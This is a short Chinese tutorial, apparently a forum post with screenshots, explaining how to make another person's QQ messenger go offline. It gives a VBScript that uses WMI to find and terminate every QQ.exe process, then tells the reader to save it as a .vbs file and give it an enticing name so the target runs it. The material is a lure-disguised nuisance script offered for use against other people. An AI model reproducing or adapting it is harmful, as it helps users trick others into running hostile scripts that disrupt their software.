1:首先然桌面上新建一个文本文档
![利用[VBS]代码,让对方qq掉线](https://px.lanyin.net/image/http://bbs.tt86.com/attachment/Type_jpg/9_1031313_6eec6e7a2dc2648.jpg?imgsec=KrtXEOhwFbXVKwCfy_grVw&imgexp=1739066400)
2:右键------编辑
![利用[VBS]代码,让对方qq掉线](https://px.lanyin.net/image/http://bbs.tt86.com/attachment/Type_jpg/9_1031313_f9f5f8a5a368343.jpg?imgsec=KrtXEOhwFbXVKwCfy_grVw&imgexp=1739066400)
3:在弹出的窗口当中把下面代码粘贴进去点击左上角的文件[保存]
strComputer="."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colProcessList=objWMIService.ExecQuery ("select * from Win32_Process where Name='QQ.exe' ")
For Each objProcess in colProcessList
objProcess.Terminate()
next
![利用[VBS]代码,让对方qq掉线](https://px.lanyin.net/image/http://bbs.tt86.com/attachment/Type_jpg/9_1031313_a4d2aecea7e6ee3.jpg?imgsec=KrtXEOhwFbXVKwCfy_grVw&imgexp=1739066400)
4:保存后我们重命为 vbs 类型的文件,我们把名字尽量改得吸引人一点
![利用[VBS]代码,让对方qq掉线](https://px.lanyin.net/image/http://bbs.tt86.com/attachment/Type_jpg/9_1031313_73212f69c166da8.jpg?imgsec=KrtXEOhwFbXVKwCfy_grVw&imgexp=1739066400)
![利用[VBS]代码,让对方qq掉线](https://px.lanyin.net/image/http://bbs.tt86.com/attachment/Type_jpg/9_1031313_2092aa024c72088.jpg?imgsec=KrtXEOhwFbXVKwCfy_grVw&imgexp=1739066400)